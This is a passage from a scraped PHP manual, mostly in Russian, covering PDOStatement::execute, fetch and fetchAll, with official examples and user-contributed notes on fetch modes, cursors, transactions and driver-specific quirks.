When you try to make a query with a date, then take the whole date and not just a number.

This Query will work fine, if you try it like this:
SELECT * FROM table WHERE date = 0

But if you try it with prepared you have to take the whole date format.
<?php
$sth = $dbh->prepare('SELECT * FROM table WHERE date = :date');
$sth->execute( $arArray );

//--- Wrong:
$arArray = array(":date",0);

//--- Right:
$arArray = array(":date","0000-00-00 00:00:00");
?>

There must be something with the mysql driver.

best regards
T-Rex
richard at securebucket dot com 25-Nov-2011 01:16
Note:  Parameters don't work with a dash in the name like ":asd-asd" you can do a quick str_replace("-","_",$parameter) to fix the issue.
ElTorqiro 05-Apr-2011 02:51
When using a prepared statement to execute multiple inserts (such as in a loop etc), under sqlite the performance is dramatically improved by wrapping the loop in a transaction.

I have an application that routinely inserts 30-50,000 records at a time.  Without the transaction it was taking over 150 seconds, and with it only 3.

This may affect other implementations as well, and I am sure it is something that affects all databases to some extent, but I can only test with PDO sqlite.

e.g.

<?php
$data = array(
  array('name' => 'John', 'age' => '25'),
  array('name' => 'Wendy', 'age' => '32')
);

try {
  $pdo = new PDO('sqlite:myfile.sqlite');
}

catch(PDOException $e) {
  die('Unable to open database connection');
}

$insertStatement = $pdo->prepare('insert into mytable (name, age) values (:name, :age)');

// start transaction
$pdo->beginTransaction();

foreach($data as &$row) {
  $insertStatement->execute($row);
}

// end transaction
$pdo->commit();

?>

[EDITED BY sobak: typofixes by Pere submitted on 12-Sep-2014 01:07]
Robin Millette 10-Jan-2011 06:30
If you're going to derive PDOStatement to extend the execute() method, you must define the signature with a default NULL argument, not an empty array.

In otherwords:
<?php
class MyPDOStatement extends PDOStatement {
  // ...

  // don't use this form!
  // function execute($input_parameters = array()) {
  // use this instead:
  function execute($input_parameters = null) {
      // ...
      return parent::execute($input_parameters);
  }
}

?>

As a sidenote, that's why I always set default parameter to NULL and take care of handling the actual correct default parameters in the body of the method or function. Thus, when you have to call the function with all the parameters, you know to always pass NULL for defaults.
Tony Casparro 08-Jul-2010 10:09
We know that you can't see the final raw SQL before its parsed by the DB, but if you want to simulate the final result, this may help.

<?php
public function showQuery($query, $params)
    {
        $keys = array();
        $values = array();

        # build a regular expression for each parameter
        foreach ($params as $key=>$value)
        {
            if (is_string($key))
            {
                $keys[] = '/:'.$key.'/';
            }
            else
            {
                $keys[] = '/[?]/';
            }

            if(is_numeric($value))
            {
                $values[] = intval($value);
            }
            else
            {
                $values[] = '"'.$value .'"';
            }
        }

        $query = preg_replace($keys, $values, $query, 1, $count);
        return $query;
    }
?>
gx 24-Apr-2010 10:05
Note that you must
- EITHER pass all values to bind in an array to PDOStatement::execute()
- OR bind every value before with PDOStatement::bindValue(), then call PDOStatement::execute() with *no* parameter (not even "array()"!).
Passing an array (empty or not) to execute() will "erase" and replace any previous bindings (and can lead to, e.g. with MySQL, "SQLSTATE[HY000]: General error: 2031" (CR_PARAMS_NOT_BOUND) if you passed an empty array).

Thus the following function is incorrect in case the prepared statement has been "bound" before:

<?php
function customExecute(PDOStatement &$sth, $params = NULL) {
    return $sth->execute($params);
}
?>

and should therefore be replaced by something like:

<?php
function customExecute(PDOStatement &$sth, array $params = array()) {
    if (empty($params))
        return $sth->execute();
    return $sth->execute($params);
}
?>

Also note that PDOStatement::execute() doesn't require $input_parameters to be an array.

(of course, do not use it as is ^^).
Ant P. 08-Aug-2008 10:33
As of 5.2.6 you still can't use this function's $input_parameters to pass a boolean to PostgreSQL. To do that, you'll have to call bindParam() with explicit types for each parameter in the query.
Jean-Lou dot Dupont at jldupont dot com 09-Mar-2008 10:38
Hopefully this saves time for folks: one should use $count = $stmt->rowCount() after $stmt->execute() in order to really determine if any an operation such as ' update ' or ' replace ' did succeed i.e. changed some data.

Jean-Lou Dupont.
albright atat anre dotdot net 18-Jan-2008 08:33
When passing an array of values to execute when your query contains question marks, note that the array must be keyed numerically from zero. If it is not, run array_values() on it to force the array to be re-keyed.

<?php
$anarray = array(42 => "foo", 101 => "bar");
$statement = $dbo->prepare("SELECT * FROM table WHERE col1 = ? AND col2 = ?");

//This will not work
$statement->execute($anarray);

//Do this to make it work
$statement->execute(array_values($anarray));
?>
Daniel 30-Aug-2007 05:20
You could also use switch the order of t1 and t2 to get user_id from t1 (tested on postgresql):

SELECT
   t2.*,
   t1.user_id, t1.user_name
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2
simon dot lehmann at gmx dot de 08-Aug-2007 03:17
It seems, that the quoting behaviour has changed somehow between versions, as my current project was running fine on one setup, but throwing errors on another (both setups are very similar).

Setup 1: Ubuntu 6.10, PHP 5.1.6, MySQL 5.0.24a
Setup 2: Ubuntu 7.04, PHP 5.2.1, MySQL 5.0.38

The code fragment which caused problems (shortened):
<?php
$stmt = $pdo->prepare("SELECT col1, col2, col3 FROM tablename WHERE col4=? LIMIT ?");
$stmt->execute(array('Foo', 1));
?>

On the first Setup this executes without any problems, on the second setup it generates an Error:

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1

The problem is, that $stmt->execute() quotes the number passed to the second placeholder (resulting in: ... LIMIT '1'), which is not allowed in MySQL (tested on both setups).

To prevent this, you have to use bindParam() or bindValue() and specify a data type.
narcis at narcisradu dot com 08-Jan-2007 01:16
For a query like this:

SELECT
   t1.user_id, t1.user_name,
   t2.*
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2

If I don't have an entry in table2 for user_id=2, the user_id in  result will be empty.

SELECT
   t1.user_id, t1.user_name,
   t2.user_pet, t2.user_color, t2.user_sign
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2

This query will return nonempty user_id.

So please be careful with wildcard select.
VolGas 22-Dec-2006 10:38
An array of insert values (named parameters) don't need the prefixed colon als key-value to work.

<?php
/* Execute a prepared statement by passing an array of insert values */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
   FROM fruit
   WHERE calories < :calories AND colour = :colour');
// instead of:
//     $sth->execute(array(':calories' => $calories, ':colour' => $colour));
// this works fine, too:
$sth->execute(array('calories' => $calories, 'colour' => $colour));
?>

This allows to use "regular" assembled hash-tables (arrays).
That realy does make sense!
dbrucas 21-Nov-2006 10:54
If you don't want to turn on exception raising, then try this:

    //$dbErr = $dbHandler->errorInfo(); OR
    $dbErr = $dbStatement->errorInfo();
    if ( $dbErr[0] != '00000' ) {
        print_r($dbHandler->errorInfo());
        die( "<div class='redbg xlarge'>FAILED:  $msg</div><br />".$foot);
    // or handle the error your way...
            }
    echo "SUCCESS:  $msg<br />";
... continue if succesful
russel at sunraystudios dot com 15-Oct-2006 02:42
I've used it and it returns booleans=>
$passed = $stmt->execute();
if($passed){
echo "passed";
} else {
echo "failed";
}

If the statement failed it would print failed.  You would want to use errorInfo() to get more info, but it does seem to work for me.


Извлечение следующей строки из результирующего набора

  • « PDOStatement::execute
  • PDOStatement::fetchAll »
  • PHP Manual
  • PDOStatement
  • Извлечение следующей строки из результирующего набора

PDOStatement::fetch

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::fetch — Извлечение следующей строки из результирующего набора

Описание

public PDOStatement::fetch(int $mode = PDO::FETCH_DEFAULT, int $cursorOrientation = PDO::FETCH_ORI_NEXT, int $cursorOffset = 0): mixed

Извлекает следующую строку из результирующего набора объекта PDOStatement. Параметр mode определяет, в каком виде PDO вернёт эту строку.

Список параметров

mode

Определяет, в каком виде следующая строка будет возвращена в вызывающий метод. Это может быть одна из констант PDO::FETCH_*. По умолчанию PDO::ATTR_DEFAULT_FETCH_MODE (что равносильно PDO::FETCH_BOTH).

  • PDO::FETCH_ASSOC: возвращает массив, индексированный именами столбцов результирующего набора

  • PDO::FETCH_BOTH (по умолчанию): возвращает массив, индексированный именами столбцов результирующего набора, а также их номерами (начиная с 0)

  • PDO::FETCH_BOUND: возвращает true и присваивает значения столбцов результирующего набора переменным PHP, которые были привязаны к этим столбцам методом PDOStatement::bindColumn()

  • PDO::FETCH_CLASS: создаёт и возвращает объект запрошенного класса, присваивая значения столбцов результирующего набора именованным свойствам класса, и следом вызывает конструктор, если не задан PDO::FETCH_PROPS_LATE. Если mode включает в себя атрибут PDO::FETCH_CLASSTYPE (например, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE), то имя класса, от которого нужно создать объект, будет взято из первого столбца.

  • PDO::FETCH_INTO: обновляет существующий объект запрошенного класса, присваивая значения столбцов результирующего набора именованным свойствам объекта

  • PDO::FETCH_LAZY: комбинирует PDO::FETCH_BOTH и PDO::FETCH_OBJ, создавая новый объект со свойствами, соответствующими именам столбцов результирующего набора

  • PDO::FETCH_NAMED: возвращает массив такого же вида, как и PDO::FETCH_ASSOC, но, если есть несколько полей с одинаковым именем, то значением с этим ключом будет массив со всеми значениями из рядов, в которых это поле указано.

  • PDO::FETCH_NUM: возвращает массив, индексированный номерами столбцов (начиная с 0)

  • PDO::FETCH_OBJ: создаёт анонимный объект со свойствами, соответствующими именам столбцов результирующего набора

  • PDO::FETCH_PROPS_LATE: если используется с PDO::FETCH_CLASS, конструктор класса будет вызван перед назначением свойств из значений столбцов.

cursorOrientation

Для объектов PDOStatement представляющих прокручиваемый курсор, этот параметр определяет, какая строка будет возвращаться в вызывающий метод. Значением параметра должна быть одна из констант PDO::FETCH_ORI_*, по умолчанию PDO::FETCH_ORI_NEXT. Чтобы запросить прокручиваемый курсор для запроса PDOStatement, необходимо задать атрибут PDO::ATTR_CURSOR со значением PDO::CURSOR_SCROLL во время подготовки запроса методом PDO::prepare().

cursorOffset

Для объектов PDOStatement, представляющих прокручиваемый курсор, параметр cursorOrientation которых принимает значение PDO::FETCH_ORI_ABS, эта величина означает абсолютный номер строки, которую необходимо извлечь из результирующего набора.

Для объектов PDOStatement, представляющих прокручиваемый курсор, параметр cursorOrientation которых принимает значение PDO::FETCH_ORI_REL, эта величина указывает, какая строка относительно текущего положения курсора будет извлечена функцией PDOStatement::fetch().

Возвращаемые значения

В случае успешного выполнения функции возвращаемое значение зависит от режима выборки. В случае возникновения ошибки или если больше нет строк, функция возвращает false.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Примеры

Пример #1 Извлечение строк в разных режимах выборки

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Примеры различных режимов работы PDOStatement::fetch */
print "PDO::FETCH_ASSOC: ";
print "Возвращаем следующую строку в виде массива, индексированного именами столбцов\n";
$result = $sth->fetch(PDO::FETCH_ASSOC);
print_r($result);
print "\n";

print "PDO::FETCH_BOTH: ";
print "Возвращаем следующую строку в виде массива, индексированного как именами столбцов, так и их номерами\n";
$result = $sth->fetch(PDO::FETCH_BOTH);
print_r($result);
print "\n";

print "PDO::FETCH_LAZY: ";
print "Возвращаем следующую строку в виде анонимного объекта со свойствами, соответствующими столбцам\n";
$result = $sth->fetch(PDO::FETCH_LAZY);
print_r($result);
print "\n";

print "PDO::FETCH_OBJ: ";
print "Возвращаем следующую строку в виде анонимного объекта со свойствами, соответствующими столбцам\n";
$result = $sth->fetch(PDO::FETCH_OBJ);
print $result->name;
print "\n";
?>

Результат выполнения данного примера:

PDO::FETCH_ASSOC: Возвращаем следующую строку в виде массива, индексированного именами столбцов
Array
(
    [name] => apple
    [colour] => red
)

PDO::FETCH_BOTH: Возвращаем следующую строку в виде массива, индексированного как именами столбцов, так и их номерами
Array
(
    [name] => banana
    [0] => banana
    [colour] => yellow
    [1] => yellow
)

PDO::FETCH_LAZY: Возвращаем следующую строку в виде анонимного объекта со свойствами, соответствующими столбцам
PDORow Object
(
    [name] => orange
    [colour] => orange
)

PDO::FETCH_OBJ: Возвращаем следующую строку в виде анонимного объекта со свойствами, соответствующими столбцам
kiwi

Пример #2 Выборка строк средствами прокручиваемого курсора

<?php
function readDataForwards($dbh) {
$sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY BET';
$stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));
$stmt->execute();
while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT)) {
$data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
print $data;
}
}
function readDataBackwards($dbh) {
$sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY bet';
$stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));
$stmt->execute();
$row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_LAST);
do {
$data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
print $data;
} while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_PRIOR));
}

print "Читаем в прямой последовательности:\n";
readDataForwards($conn);

print "Читаем в обратной последовательности:\n";
readDataBackwards($conn);
?>

Результат выполнения данного примера:

Читаем в прямой последовательности:
21    10    5
16    0     5
19    20    10

Читаем в обратной последовательности:
19    20    10
16    0     5
21    10    5

Пример #3 Порядок конструкторов

Если объекты забираются с помощью PDO::FETCH_CLASS, сначала присваиваются свойства объекта, а следом вызывается конструктор объекта. Если также задано PDO::FETCH_PROPS_LATE, этот порядок меняется на обратный.

<?php
class Person
{
private $name;

public function __construct()
{
$this->tell();
}

public function tell()
{
if (isset($this->name)) {
echo "Я {$this->name}.\n";
} else {
echo "У меня ещё нет имени.\n";
}
}
}

$sth = $dbh->query("SELECT * FROM people");
$sth->setFetchMode(PDO::FETCH_CLASS, 'Person');
$person = $sth->fetch();
$person->tell();
$sth->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'Person');
$person = $sth->fetch();
$person->tell();
?>

Результатом выполнения данного примера будет что-то подобное:

Я - Alice.
Я Alice.
У меня ещё нет имени.
Я Bob.

Смотрите также

  • PDO::prepare() - Подготавливает запрос к выполнению и возвращает связанный с этим запросом объект
  • PDOStatement::execute() - Запускает подготовленный запрос на выполнение
  • PDOStatement::fetchAll() - Выбирает оставшиеся строки из набора результатов
  • PDOStatement::fetchColumn() - Возвращает данные одного столбца следующей строки результирующего набора
  • PDOStatement::fetchObject() - Извлекает следующую строку и возвращает её в виде объекта
  • PDOStatement::setFetchMode() - Устанавливает режим выборки по умолчанию для объекта запроса

User Contributed Notes

paulf at quillandmouse dot com 05-Mar-2020 02:12
A prior poster indicated that this function returns a NULL when there are no results. This is not true. This function returns an empty array. fetchAll() returns the same.

Also, the documentation specifies what happens on "failure", but doesn't indicate what constitutes a "failure". A "failure" could be where the function returns no results; that is, the query "failed". However, a "failure" is apparently a situation where the PDO error functions would reveal a "failure", as in illegal SQL syntax, or a query on a table which doesn't exist, etc. An empty result is not a "failure". Maybe that's obvious to everyone else, but it wasn't to me.
Drew 23-Jan-2020 02:42
When using a PDOStatement with the fetch mode set to FETCH_CLASS, fetch will return false if no rows were found.
Black Knight 11-Apr-2016 02:16
this is just On reminder note about Second parameter -cursor_oriantation-

PDO::FETCH_ORI_NEXT :-
Fetch the next row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_PRIOR :-
Fetch the previous row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_FIRST :-
Fetch the first row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_LAST :-
Fetch the last row in the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_ABS :-
Fetch the requested row by row number from the result set. Valid only for scrollable cursors.

PDO::FETCH_ORI_REL :-
Fetch the requested row by relative position from the current position of the cursor in the result set. Valid only for scrollable cursors.
tim at kooky dot org 31-Mar-2016 12:21
Be careful when using PDO::FETCH_LAZY.  It adds an additional field called queryString.  I'm not sure if this a bug or not. I'm using version 5.6.17 in Debian Jessie.

Query:  'select 1,2,3'

$row=$smt->fetch(PDO::FETCH_OBJ);
var_dump($row);

object(stdClass)#6 (3) {
  ["1"]=>
  string(1) "1"
  ["2"]=>
  string(1) "2"
  ["3"]=>
  string(1) "3"
}

$row=$smt->fetch(PDO::FETCH_LAZY);
var_dump($row);

object(PDORow)#3 (4) {
  ["queryString"]=>
  string(12) "select 1,2,3"
  ["1"]=>
  string(1) "1"
  ["2"]=>
  string(1) "2"
  ["3"]=>
  string(1) "3"
}
tastro 19-Sep-2014 12:41
Note that this way, the "fetch mode" will get "overwritten", and PDO::FETCH_PROPS_LATE won't be applied:

<?php
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");
$sth->setFetchMode( PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'user');
$sth->execute();
$user = $sth->fetch( PDO::FETCH_CLASS );
$sth->closeCursor();
?>

Instead, you should leave the parameter area for the fetch() method empty, like this (if you want to set the fetch mode with the setFetchMode() method):

<?php
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");
$sth->setFetchMode( PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'user');
$sth->execute();
$user = $sth->fetch();
$sth->closeCursor();
?>
lenz_kappov at yahoo dot co dot uk 23-Feb-2014 10:30
Because MySQL does not currently support the use of cursors, the $cursor_offset feature cannot work when using PDO to access a MySQL database.

If you are tring to arbitrarily access a specific record or group of records in a MySQL database recordset, you might want to consider using the LIMIT clause of the SELECT statement to achieve this e.g. LIMIT 5,3 to return just the 6th,7th & 8th records - 3 records starting at index 5 (which is the 6th record).
yarco dot wang at gmail dot com 07-Dec-2013 11:30
If no record, this function will also return false.
I think that is not very good...
sumariva at gmail dot com 29-May-2013 06:02
I got problems during fetch of stored procedures with mssql following PDOException:

SQLSTATE[IMSSP]: The active result for the query contains no fields

with a a prepared statement like:
 EXEC [mydb].[stored_procedure_that_returns_select] ?;

The solution was to supress the count of records
SET NOCOUNT ON; EXEC [mydb].[stored_procedure_that_returns_select] ?;

Hope it helps!
gergo at gergoerdosi dot com 11-Feb-2013 04:07
When using PDO::FETCH_COLUMN in a while loop, it's not enough to just use the value in the while statement as many examples show:

<?php
while ($row = $stmt->fetch(PDO::FETCH_COLUMN)) {
    print $row;
}
?>

If there are 5 rows with values 1 2 0 4 5, then the while loop above will stop at the third row printing only 1 2. The solution is to either explicitly test for false:

<?php
while (($row = $stmt->fetch(PDO::FETCH_COLUMN)) !== false) {
    print $row;
}
?>

Or use foreach with fetchAll():

<?php
foreach ($stmt->fetchAll(PDO::FETCH_COLUMN) as $row) {
    print $row;
}
?>

Both will correctly print 1 2 0 4 5.
sumariva at gmail dot com 04-Jul-2012 04:17
I could use PDO::FETCH_COLUMN to retrieve the first column from result.
$ps->fetch( PDO::FETCH_COLUMN );
Worked on Postgresql with PHP 5.3.10.
Alex 07-Sep-2011 02:32
It seems that if you do a $statement->query() with an INSERT statement and after that a $statement->fetch() you will get an exception saying: SQLSTATE[HY000]: General error.
henry at henrysmith dot org 06-Aug-2011 09:24
Someone's already pointed out that PDO::CURSOR_SCROLL isn't supported by the SQLite driver. It's also worth noting that it's not supported by the MySQL driver either.

In fact, if you try to use scrollable cursors with a MySQL statement, the PDO::FETCH_ORI_ABS parameter and the offset given to fetch() will be silently ignored. fetch() will behave as normal, returning rows in the order in which they came out of the database.

It's actually pretty confusing behaviour at first. Definitely worth documenting even if only as a user-added note on this page.
Ome Ko 20-Jun-2011 04:46
Don't do
if($objStatement->fetch()) return $objStatement->fetch();

You want
if($blah=$objStatement->fetch()) return $blah;

Trust me on this one.
public at grik dot net 24-Nov-2010 03:10
When fetching an object, the constructor of the class is called after the fields are populated by default.

PDO::FETCH_PROPS_LATE is used to change the behaviour and make it work as expected - constructor be called _before_ the object fields will be populated with the data.

sample:

<?php
$a = $PDO->query('select id from table');
$a->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'ClassName');
$obj = $a->fetch();
?>

http://bugs.php.net/bug.php?id=53394
Typer85 at gmail dot com 01-Feb-2010 03:03
Here is quick note for developers that use the PDO SQLite Driver:

The PDO SQLite driver does not support cursors, so using the PDO::CURSOR_SCROLL Attribute, will not work when using the PDO SQLite driver. For example:

<?php

// Assuming $Handle Is a PDO Handle.
$Statement = $Handle->query( $sqlStatement , array( PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL ) );

?>

What is even worse is that PDO::prepare will NOT throw an Exception when it fails to prepare the query, even when the error mode is set to throw Exceptions, and will instead return a Boolean False!

Not only do I consider this a poor design choice, but also its a real shame that this is not documented anywhere in the manual -- in fact the manual is not clear on what Attributes are supported by which drivers and which are not so developers are left to play a classic game of guess.

I hope this saves some developers some headaches.

Good Luck,
lod 16-Jul-2008 09:33
A quick one liner to get the first entry returned.  This is nice for very basic queries.

<?php
$count = current($db->query("select count(*) from table")->fetch());
?>php
lozitskiys at gmail dot com 09-Jul-2008 05:21
I spent some hours trying to find out how to manipulate with BLOB fields using PDO.

Remember that you can't retreive BLOB data using something like this :

<?php
$sql = 'SELECT * FROM sometable LIMIT 1';
$stmt = $dbh->prepare($sql);
$stmt->execute();
$stmt->setAttribute(PDO::FETCH_ASSOC);
$row = $stmt->fetch();

$myFile = $row['file'];
?>

Instead of this you should try following approach:

<?php
$sql = "SELECT mime, file FROM sometable LIMIT 1";
$stmt = $dbh->prepare($sql);
$stmt->execute();

$stmt->bindColumn(1, $mime,);
$stmt->bindColumn(2, $file, PDO::PARAM_LOB);

$stmt->fetch();

header('Content-type: '.$mime);
print $file;

?>
josh 29-Apr-2008 12:02
Note that PDO::ATTR_STRINGIFY_FETCHES will NOT work for the MySQL driver. MySQL will always return strings because that is the behaviour of the core mysql PHP extension. See http://bugs.php.net/bug.php?id=44341
Gerard van Beek 28-Oct-2007 01:42
If you to use a new instance of a class for a record you can use:

<?php
include_once("user.class");
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");

/* create instance automatically */
$sth->setFetchMode( PDO::FETCH_CLASS, 'user');
$sth->execute();
$user = $sth->fetch( PDO::FETCH_CLASS );
$sth->closeCursor();
print ($user->id);

/* or create an instance yourself and use it */
$user= new user();
$sth->setFetchMode( PDO::FETCH_INTO, $user);
$sth->execute();
$user= $sth->fetch( PDO::FETCH_INTO );
$sth->closeCursor();
print ($user->id);
?>
BaBna 16-Aug-2007 12:52
When you do a SELECT query for one row, and want to check if it's there, you don't need to count the fetchAll() result, you can just check if $result->fetch() is true:
<?php
$bbnq = sprintf("SELECT login
FROM users
WHERE id = %u",27);
try
    { $req = $db_bbn->query($bbnq); }
catch (Exception $e)
    { bbnf_pdo_error($e,__FILE__,__LINE__); }
if ( $r = $req->fetch() )
    { echo "This query has a row result"; }
else
    { echo "This query has an empty result"; }
?>
marcini 02-Apr-2007 04:41
Be careful with fetch() when you use prepared statements and MySQL (I don`t know how it is with other databases). Fetch won`t close cursor and won`t let you send any other query, even if your result set has only one row, .
If you use $statement->fetch(), you will also have to use $statement->closeCursor() afterwards, to be albe to execute another query.
Alternatively you can use $statement->fetchAll() without $statement->closeCursor().
terry at bitsoup dot com 02-Mar-2006 12:46
WARNING:
fetch() does NOT adhere to SQL-92 SQLSTATE standard when dealing with empty datasets.

Instead of setting the errorcode class to 20 to indicate "no data found", it returns a class of 00 indicating success, and returns NULL to the caller.

This also prevents the exception mechainsm from firing.

Programmers will need to explicitly code tests for empty resultsets after any fetch*() instead of relying on the default behavior of the RDBMS.

I tried logging this as a bug, but it was dismissed as "working as intended". Just a head's up.
avinoamr at gmail dot com 19-Jan-2006 02:48
Note that using the FETCH_CLASS mechanism does NOT trigger the class's constructor! You must explicity instantiate the class to use it's constructor behavior.
fh at ez dot no 25-Nov-2005 12:13
I can also add that the constructor is run _after_ the data is set on the object if yo use PDO::FETCH_CLASS.
fh at ez dot no 24-Nov-2005 11:58
If you want to use PDO::FETCH_CLASS you need to set it up with setFetchMode first like so:
        $stmt->setFetchMode( PDO::FETCH_CLASS, 'classType', array( 'parameters to constructor' );
        $object = $stmt->fetch( PDO::FETCH_CLASS );
If you ommit this PHP will segfault.
aledmb at gmail dot com 21-Oct-2005 10:22
note that fetch constants are not included in the PDO class for PHP versions prior to 5.1


Выбирает оставшиеся строки из набора результатов

  • « PDOStatement::fetch
  • PDOStatement::fetchColumn »
  • PHP Manual
  • PDOStatement
  • Выбирает оставшиеся строки из набора результатов

PDOStatement::fetchAll

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::fetchAll — Выбирает оставшиеся строки из набора результатов

Описание

public PDOStatement::fetchAll(int $mode = PDO::FETCH_DEFAULT): array
public PDOStatement::fetchAll(int $mode = PDO::FETCH_COLUMN, int $column): array
public PDOStatement::fetchAll(int $mode = PDO::FETCH_CLASS, string $class, ?array $constructorArgs): array
public PDOStatement::fetchAll(int $mode = PDO::FETCH_FUNC, callable $callback): array

Список параметров

mode

Определяет содержимое возвращаемого массива. Подробней можно узнать из документации к методу PDOStatement::fetch(). По умолчанию параметр принимает значение PDO::ATTR_DEFAULT_FETCH_MODE (которое в свою очередь имеет умолчание PDO::FETCH_BOTH)

Чтобы извлечь значения только одного столбца, передайте в качестве значения этого параметра константу PDO::FETCH_COLUMN. С помощью параметра column можно задать столбец, из которого требуется извлечь данные.

Если требуется извлечь только уникальные строки одного столбца, нужно передать побитовое ИЛИ констант PDO::FETCH_COLUMN и PDO::FETCH_UNIQUE.

Чтобы получить ассоциативный массив строк сгруппированный по значениям определённого столбца, нужно передать побитовое ИЛИ констант PDO::FETCH_COLUMN и PDO::FETCH_GROUP.

Следующие параметры являются динамическими и зависят от режима выборки. Они не могут использоваться совместно с именованными параметрами.
column

Используется с PDO::FETCH_COLUMN. Возвращает указанный столбец с индексом, начинающимся с 0.

class

Используется с PDO::FETCH_CLASS. Возвращает экземпляры указанного класса, сопоставляя столбцы каждой строки с именованными свойствами класса.

constructorArgs

Аргументы конструктора пользовательского класса, когда параметр mode равен PDO::FETCH_CLASS.

callback

Используется с PDO::FETCH_FUNC. Возвращает результаты вызова указанной функции, используя столбцы каждой строки в качестве параметров вызова.

Возвращаемые значения

Метод PDOStatement::fetchAll() возвращает массив, содержащий все оставшиеся строки результирующего набора. Массив представляет каждую строку либо в виде массива значений одного столбца, либо в виде объекта, имена свойств которого совпадают с именами столбцов.

Использование этого метода для извлечения строк больших результирующих наборов может пагубно сказаться на производительности системы и сетевых ресурсов. Вместо извлечения всех данных и их обработки в PHP рекомендуется использовать встроенные средства СУБД. Например, использование выражений WHERE и ORDER BY языка SQL может уменьшить размеры результирующего набора.

Ошибки

Выдаёт ошибку уровня E_WARNING, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_WARNING.

Выбрасывает исключение PDOException, если атрибуту PDO::ATTR_ERRMODE установлено значение PDO::ERRMODE_EXCEPTION.

Список изменений

Версия | Описание
8.0.0 | Метод теперь всегда возвращает массив (array), раньше в случае возникновения ошибки могло возвращаться false.

Примеры

Пример #1 Извлечение всех оставшихся строк результирующего набора

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Извлечение всех оставшихся строк результирующего набора */
print "Извлечение всех оставшихся строк результирующего набора:\n";
$result = $sth->fetchAll();
print_r($result);
?>

Результатом выполнения данного примера будет что-то подобное:

Извлечение всех оставшихся строк результирующего набора:
Array
(
    [0] => Array
        (
            [name] => apple
            [0] => apple
            [colour] => red
            [1] => red
        )

    [1] => Array
        (
            [name] => pear
            [0] => pear
            [colour] => green
            [1] => green
        )

    [2] => Array
        (
            [name] => watermelon
            [0] => watermelon
            [colour] => pink
            [1] => pink
        )
)

Пример #2 Извлечение всех значений одного столбца результирующего набора

В следующем примере показано, как извлечь из результирующего набора значения только одного столбца, даже если строки содержат значения нескольких столбцов.

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Извлечение всех значений первого столбца */
$result = $sth->fetchAll(PDO::FETCH_COLUMN, 0);
var_dump($result);
?>

Результатом выполнения данного примера будет что-то подобное:

Array(3)
(
    [0] =>
    string(5) => apple
    [1] =>
    string(4) => pear
    [2] =>
    string(10) => watermelon
)

Пример #3 Группировка строк по значениям одного столбца

В следующем примере показано, как получить ассоциативный массив строк результирующего набора, сгруппированных по значениям указанного столбца. Массив содержит три ключа: значения apple и pear являются массивами, содержащими два разных цвета; в тоже время watermelon будет массивом, содержащим только один цвет.

<?php
$insert = $dbh->prepare("INSERT INTO fruit(name, colour) VALUES (?, ?)");
$insert->execute(array('apple', 'green'));
$insert->execute(array('pear', 'yellow'));

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Группируем записи по значениям первого столбца */
var_dump($sth->fetchAll(PDO::FETCH_COLUMN|PDO::FETCH_GROUP));
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  ["apple"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(3) "red"
  }
  ["pear"]=>
  array(2) {
    [0]=>
    string(5) "green"
    [1]=>
    string(6) "yellow"
  }
  ["watermelon"]=>
  array(1) {
    [0]=>
    string(5) "pink"
  }
}

Пример #4 Создание объекта для каждой строки

В следующем примере показано поведение метода в режиме выборки PDO::FETCH_CLASS.

<?php
class fruit {
public $name;
public $colour;
}

$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

$result = $sth->fetchAll(PDO::FETCH_CLASS, "fruit");
var_dump($result);
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  object(fruit)#1 (2) {
    ["name"]=>
    string(5) "apple"
    ["colour"]=>
    string(5) "green"
  }
  [1]=>
  object(fruit)#2 (2) {
    ["name"]=>
    string(4) "pear"
